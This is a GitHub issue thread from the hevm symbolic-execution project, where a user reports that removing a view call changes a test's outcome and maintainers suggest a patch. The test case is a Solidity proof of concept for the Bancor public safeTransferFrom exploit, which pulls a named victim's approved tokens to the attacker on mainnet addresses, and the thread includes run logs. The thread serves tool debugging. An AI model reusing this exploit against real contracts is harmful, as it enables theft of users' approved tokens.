View function affect results

[shanjiaming]

I assume this is a bug. Notice that I manually compiled fixed verision of Behaviour difference between revert() and revert("message") #751 from source code and use that hevm version to run.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
// import "./../interface.sol";

/*
Bancor Protocol Access Control Exploit PoC

Some of the newly deployed Bancor contracts had the 'safeTransferFrom' function public.

As a result, if any user had granted approval to these contracts was vulnerable.

The attacker can check if an user had granted an allowance to Bancor Contracts to transfer the ERC20 token 

Example tx - https://etherscan.io/tx/0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
*/

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address owner) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

interface IBancor {
    function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _value) external;
}

contract BancorExploit is Test {
    address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;
    address victim = 0xfd0B4DAa7bA535741E6B5Ba28Cba24F9a816E67E;
    address attacker = address(this);
    IERC20 XBPToken = IERC20(0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40);

    IBancor bancorContract = IBancor(bancorAddress);

    function setUp() public {
        // vm.createSelectFork("mainnet", 10_307_563); // fork mainnet at 10307563
    }


    function test_attack_symbolic(uint256 _symbolicAmount) public {
        XBPToken.balanceOf(victim);
        uint256 balBefore = XBPToken.balanceOf(attacker);

        vm.prank(address(this));
        bancorContract.safeTransferFrom(
            IERC20(address(XBPToken)),
            victim,
            attacker,
            _symbolicAmount // Use symbolic parameter
        );
        
        uint256 balAfter = XBPToken.balanceOf(attacker);
        uint256 profit = balAfter - balBefore;
        
        uint256 TARGET_PROFIT = 905987977635678910008152;
        
        assert(!(profit >= TARGET_PROFIT));
    }
}

forge build --ast && hevm test --prefix test_attack_symbolic --rpc https://eth-mainnet.g.alchemy.com/v2/MY_MAINNET_KEY --number 10307563 --max-iterations 10000000 --max-width 1000000 --debug

The result is

Found 1 unit test contract(s) to test:
  --> src/contract.sol:BancorExploit  ---  functions: [Sig "test_attack_symbolic" [uint256]]

Checking 1 function(s) in contract src/contract.sol:BancorExploit
[RUNNING] test_attack_symbolic(uint256)
   Exploring call prefix 0xa99c2b0c
Fetching contract at 0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40
Fetching slot 0xab39bd4ed4f120ab16b799b542a9f20cadc701e31bfb4bc86052bf201b781ebc at 0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40
Fetching slot 0xdc4a7ad13353c10d0e254bc1f761fe9108c0bea9c606b34d2e17ef495a437d87 at 0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40
Fetching contract at 0x5f58058C0eC971492166763c8C22632B583F667f
Fetching slot 0x66b84109c8f5a9fd113b760731fbc2d1001ab239ccfefcac3aefa3c56db93eaf at 0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40
   Simplifying expression
   Exploration finished, 5 branch(es) to check in call prefix 0xa99c2b0c
   Checking for reachability of 1 potential property violation(s) in call prefix 0xa99c2b0c
   SMT result: Cex SMTCex {vars = fromList [(Var "arg1",0xbfd9b4e8f99ec359cb58)], addrs = fromList [], buffers = fromList [(AbstractBuf "txdata",Comp Base {byte = 0, length = 0x5})], store = fromList [], blockContext = fromList [], txContext = fromList []}
   Found 1 potential counterexample(s) in call prefix 0xa99c2b0c
   -> debug of func: test_attack_symbolic Failure at the end of expr: Revert (ConcreteBuf "NH{q\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\SOH")
   -> debug of func: test_attack_symbolic Failure at the end of expr: Revert (ConcreteBuf "")
   -> debug of func: test_attack_symbolic Failure at the end of expr: Revert (ConcreteBuf "")
   -> debug of func: test_attack_symbolic Failure at the end of expr: Revert (ConcreteBuf "")
symRun -- (cex,warnings,unexpectedAllRevert): (True,False,False)
   [FAIL] test_attack_symbolic
   Counterexample:
     calldata: test_attack_symbolic(905987977635678910008152)
     result:   Revert: 0x4e487b710000000000000000000000000000000000000000000000000000000000000001

unitTest individual results: [(False,True)]

And it's correct.

However, if you comment line 52 to // XBPToken.balanceOf(victim);
It is expected that the result should not change. However, in reality the result will become:

Found 1 unit test contract(s) to test:
  --> src/contract.sol:BancorExploit  ---  functions: [Sig "test_attack_symbolic" [uint256]]

Checking 1 function(s) in contract src/contract.sol:BancorExploit
[RUNNING] test_attack_symbolic(uint256)
   Exploring call prefix 0xa99c2b0c
Fetching contract at 0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40
Fetching slot 0xdc4a7ad13353c10d0e254bc1f761fe9108c0bea9c606b34d2e17ef495a437d87 at 0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40
Fetching contract at 0x5f58058C0eC971492166763c8C22632B583F667f
Fetching slot 0x66b84109c8f5a9fd113b760731fbc2d1001ab239ccfefcac3aefa3c56db93eaf at 0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40
   Simplifying expression
   Exploration finished, 5 branch(es) to check in call prefix 0xa99c2b0c
   Checking for reachability of 0 potential property violation(s) in call prefix 0xa99c2b0c
   Found 0 potential counterexample(s) in call prefix 0xa99c2b0c
   -> debug of func: test_attack_symbolic Failure at the end of expr: Revert (ConcreteBuf "NH{q\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\NUL\SOH")
   -> debug of func: test_attack_symbolic Failure at the end of expr: Revert (ConcreteBuf "")
   -> debug of func: test_attack_symbolic Failure at the end of expr: Revert (ConcreteBuf "")
   -> debug of func: test_attack_symbolic Failure at the end of expr: Revert (ConcreteBuf "")
symRun -- (cex,warnings,unexpectedAllRevert): (False,False,False)
   [PASS] test_attack_symbolic

unitTest individual results: [(True,True)]

which should not happen.

[gustavo-grieco]

Just to clarify, are you using dd2b19c ?

[shanjiaming]

I'm using be2a5eb

[gustavo-grieco]

I think you could try applying dd2b19c as a patch to your hevm branch, since it fixes some issues with static calls.

[msooseth]

Interesting... thanks, I'll look into this next week!